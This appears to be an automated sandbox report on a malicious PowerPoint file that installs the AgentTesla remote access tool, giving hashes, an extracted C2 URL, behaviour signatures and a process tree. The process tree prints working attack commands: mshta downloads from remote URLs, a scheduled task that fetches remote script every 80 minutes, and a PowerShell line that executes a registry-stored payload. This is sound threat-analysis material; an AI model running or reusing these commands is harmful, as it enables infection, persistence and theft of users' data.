Analysis

  • max time kernel
    116s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    22-04-2021 07:53

General

  • Target

    1.ppt

  • Size

    78KB

  • MD5

    d942cc1f6472ee2ef8c9dc5543e009ab

  • SHA1

    b322a2b14f015afa34e632e7f08149444eb3857e

  • SHA256

    6fe9b24604c251a382a9f9148b26b08795cc09784f552bdc9d764f90390ac0d7

  • SHA512

    164c3885d3f3eb05d5cf0b5053971d8f7f1ed891978df7b6231d3b8b29208eb657224eb34ed8534b61fd831bef193febb6e7bd0522189fa4127e8fdd363cc42c

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/1717/inc/b0201c21c4adb5.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 19 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\1.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:480
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1908
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://www.j.mp/asdqwpodqjwndddjakdhs
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/17.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:1112
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1768
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1612
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        #cmd
        2⤵
        • Drops file in Drivers directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2164

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      MD5

      dc106f1aefcf19287adb76fa5df65383

      SHA1

      207542f186a5017d1ffeb6c91f95aa04b752d975

      SHA256

      0b25193364e2dbfc1c75f58349ae0ff84801ab7a2d74b9ded3ed2744071c0b6d

      SHA512

      01a16309881c5f55fa3e2422201ee37489c237f357dd5374e81f09cba6ee8bfb8654dc4c0db496630ea5ca56ad6aa28a881b2ccfe7fec36fcc853b79d4124c34

    • memory/480-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/480-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/480-61-0x0000000071581000-0x0000000071583000-memory.dmp

      Filesize

      8KB

    • memory/480-60-0x0000000074081000-0x0000000074085000-memory.dmp

      Filesize

      16KB

    • memory/1112-67-0x0000000000000000-mapping.dmp

    • memory/1228-72-0x0000000000000000-mapping.dmp

    • memory/1364-65-0x0000000000000000-mapping.dmp

    • memory/1612-81-0x0000000002600000-0x0000000002602000-memory.dmp

      Filesize

      8KB

    • memory/1612-82-0x000000001B540000-0x000000001B552000-memory.dmp

      Filesize

      72KB

    • memory/1612-71-0x000000001AB40000-0x000000001AB41000-memory.dmp

      Filesize

      4KB

    • memory/1612-70-0x00000000022E0000-0x00000000022E1000-memory.dmp

      Filesize

      4KB

    • memory/1612-73-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

      Filesize

      8KB

    • memory/1612-74-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

      Filesize

      8KB

    • memory/1612-75-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

      Filesize

      4KB

    • memory/1612-80-0x0000000002500000-0x0000000002504000-memory.dmp

      Filesize

      16KB

    • memory/1612-77-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

      Filesize

      4KB

    • memory/1612-78-0x000000001B9E0000-0x000000001B9E1000-memory.dmp

      Filesize

      4KB

    • memory/1612-76-0x0000000001D50000-0x0000000001D51000-memory.dmp

      Filesize

      4KB

    • memory/1768-69-0x0000000000000000-mapping.dmp

    • memory/1908-64-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp

      Filesize

      8KB

    • memory/1908-63-0x0000000000000000-mapping.dmp

    • memory/2164-83-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/2164-84-0x0000000000437DBE-mapping.dmp

    • memory/2164-85-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/2164-87-0x00000000011A0000-0x00000000011A1000-memory.dmp

      Filesize

      4KB

    • memory/2164-88-0x00000000011A1000-0x00000000011A2000-memory.dmp

      Filesize

      4KB